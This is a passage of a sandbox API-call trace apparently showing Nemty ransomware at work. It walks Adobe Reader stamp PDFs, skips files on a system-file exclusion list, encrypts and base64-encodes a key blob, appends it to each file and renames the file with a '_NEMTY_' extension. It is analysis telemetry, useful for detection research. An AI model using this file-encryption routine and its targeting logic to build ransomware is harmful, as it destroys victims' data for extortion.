CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.382] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.382] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="II9RN35OEjt7j9Nm4U147bPqz620KuokdISVrC5ZpboeP6BlfOxrgDnca7WluIXi\r\nawNR4JHikPhUMZXr3L/CsRfYU3rSTH6Mjvf50PRdDjBy/9XC0L+gnPTaaCt/MNKj\r\n0cwA5unAtCTMUiRBw/bnclMZGcKadnowIAg4oR2dhWG/dY1nYQot3QbbvPyqlpbY\r\n1FGrWBGBLfCx4rZ5SpfOz4eF96Y8EWjr785u6KwJVw2AHNsx38c0GwgbXiMftpLu\r\nkneGkaa+GZQEjcmvsDImzyIE3dxB4tUtT+r8jmTdgJ1RUK16//t+YQw1JKz7qeiH\r\n1Kc5+yS/26wP8npm4jrNyQ==\r\n", pcchString=0x653df5c) returned 1 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.383] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0189.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0189.383] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.383] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0189.387] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.387] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0189.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.387] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0189.387] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.387] CloseHandle (hObject=0x320) returned 1 [0189.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.388] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\faces.pdf._nemty_kgobjgd_")) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.388] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0189.388] lstrcmpiW (lpString1="Pointers.pdf", lpString2=".") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="..") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="...") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="windows") returned -1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="rsa") returned -1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="NTDETECT.COM") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntldr") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="MSDOS.SYS") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="IO.SYS") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="boot.ini") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="ntuser.dat") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="desktop.ini") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="CONFIG.SYS") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="RECYCLER") returned -1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="bootmgr") returned 1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="programdata") returned -1 [0189.389] lstrcmpiW (lpString1="Pointers.pdf", lpString2="appdata") returned 1 [0189.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.390] Sleep (dwMilliseconds=0x5) [0189.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24895a90, dwHighDateTime=0x1d561e8)) [0189.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24895a90, dwHighDateTime=0x1d561e8)) [0189.397] GetLastError () returned 0x0 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.398] GetLastError () returned 0x0 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.398] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6343fe8 [0189.398] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6343fe8, pcchString=0x653df5c | out: pszString="1y1Nv6fmwA03lx7p47eBClPhp4lNEY56nIV4gZJWm2wzXOqonvOdrZr9W1lQxQxy\r\nLAz990bYsYDtD4MONDHhrcTSguh4/KNEo/xt9fiI4bmiq/VBwFHVo9Roq5KZsK9g\r\nB/9vd0e5ME/axa51I13GQ1pW8e+QZp6b/XxPOPCgDdOcu/cKwkUr/yMQOCu2uKjQ\r\nOC/tfcVhnvqjxhCcDM6y7nPvM5ZEIgNXnlaRTyAvloANGD32NfxMzPqIQPbSQZt6\r\nGmyBwJenY/Z60GNofEAnBvELHJMlE9120VYaIUxj6fv7AuM9+ydvRz6Ns5/iTniW\r\n57G0NaskB9AWG6RemfR+MQ==\r\n", pcchString=0x653df5c) returned 1 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6343fe8 [0189.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.399] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=46897) returned 1 [0189.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb730) returned 0x6352c48 [0189.399] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.399] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb730, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xb730, lpOverlapped=0x0) returned 1 [0189.403] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.403] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb730, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xb730, lpOverlapped=0x0) returned 1 [0189.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.404] SetFilePointer (in: hFile=0x320, lDistanceToMove=46897, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb731 [0189.404] WriteFile (in: hFile=0x320, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.404] CloseHandle (hObject=0x320) returned 1 [0189.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344158 [0189.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.404] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Pointers.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\pointers.pdf._nemty_kgobjgd_")) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.405] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe736, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.405] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.406] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.406] Sleep (dwMilliseconds=0x5) [0189.413] GetSystemTimeAsFileTime (in: 